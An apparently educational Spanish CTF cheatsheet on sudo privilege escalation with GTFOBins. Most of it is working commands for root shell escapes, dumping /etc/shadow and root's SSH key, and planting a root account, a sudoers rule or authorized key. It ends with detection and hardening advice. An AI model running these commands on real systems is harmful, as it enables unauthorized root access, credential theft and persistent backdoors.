the_open_door
café
ESEN
← Volver al índice

sudo escape with GTFOBins

Arsenal completo de comandos en la cheatsheet

GTFOBins es un catálogo de binarios legítimos de Unix que, mal configurados, sirven para romper restricciones: leer/escribir ficheros fuera de tu alcance, mantener una shell o escalar privilegios. La vía más común en CTF es el sudo: cuando sudo -l muestra que un usuario puede ejecutar cierto binario como root sin contraseña, muchos de esos binarios ofrecen una "puerta lateral" para lanzar una shell que hereda ese contexto privilegiado.

Enumeración

El punto de partida es siempre sudo -l, que lista las reglas concedidas al usuario actual:

sudo -l
# (root) NOPASSWD: /usr/bin/vi /var/www/html/*

Cada binario permitido se busca en GTFOBins: si tiene sección Sudo, casi siempre hay un escape directo. La clave es que numerosas herramientas pueden ejecutar comandos arbitrarios sin ser intérpretes de shell: editores (vi, vim, nano), paginadores (less, more, man), lenguajes (awk, perl, python, find -exec) o utilidades como tar/rsync/zip con sus hooks.

Escape a shell root

Cada línea es el escape del binario que aparezca en sudo -l. La shell hereda root porque sudo ya elevó el proceso:

sudo vi -c ':!/bin/bash' /dev/null                 # o :set shell=/bin/bash + :shell
sudo vim -c ':py3 import os; os.execl("/bin/bash","bash","-c","reset; exec bash")'
sudo nano                                           # ^R^X y escribir: reset; sh 1>&0 2>&0
sudo find . -exec /bin/bash \; -quit
sudo env /bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo perl -e 'exec "/bin/bash";'
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo less /etc/profile                             # dentro: !/bin/bash
sudo man man                                        # dentro: !/bin/bash
sudo git -p help config                             # dentro del pager: !/bin/bash
sudo ftp                                            # dentro: !/bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo systemctl                                      # pager abierto: !sh

Muchos binarios "de red" o de servicio también escapan (ssh, scp, mysql, nmap, gdb, docker); la sección Sudo de GTFOBins tiene la línea exacta para cada uno.

Lectura de ficheros como root

Si el binario no da shell pero lee, se vuelca /etc/shadow para crackear el hash o la clave privada de root. Un binario por línea:

sudo cat /etc/shadow
sudo cp /etc/shadow /tmp/shadow && cat /tmp/shadow
sudo head -n 100 /root/.ssh/id_rsa
sudo xxd /etc/shadow | xxd -r
sudo base64 /etc/shadow | base64 -d
sudo less /etc/shadow
sudo vim -c ':r /etc/shadow' -c ':w! /tmp/out' -c ':q!'

Escritura de ficheros como root

Si el binario escribe, lo más limpio es añadirse a /etc/passwd, dejar una regla en /etc/sudoers o soltar la clave en authorized_keys de root:

openssl passwd -1 -salt hax pass123                 # genera el hash $1$hax$...
echo 'hax:$1$hax$...:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers
sudo cp ~/.ssh/id_rsa.pub /root/.ssh/authorized_keys

GTFOBins clasifica cada binario por Shell, File read, File write y SUID: mirar en qué columna cae el que tengamos permitido.

Puntos que suelen frenar

Cómo detectarlo. sudo registra cada invocación en /var/log/auth.log (o journalctl _COMM=sudo): la firma es un binario legítimo (vi, find, tar, awk) ejecutado como root e inmediatamente seguido de un hijo sh/bash, un linaje que ese binario no produce en uso normal (auditd/Sysmon for Linux sobre execve con ppid del binario permitido). Un find ... -exec /bin/bash o un tar --checkpoint-action=exec en los logs de sudo es prácticamente una confesión.

Defensa. Conceder por sudo solo binarios sin capacidad de shell-out; evitar comodines amplios; preferir scripts envoltorio con argumentos fijos; no conservar LD_* en env_keep; y auditar sudoers contra la lista de GTFOBins. Relacionado con otros abusos como sudo + rsync, script escribible vía sudo o secuestro del PATH.

Herramientaswget

Máquinas donde se aplica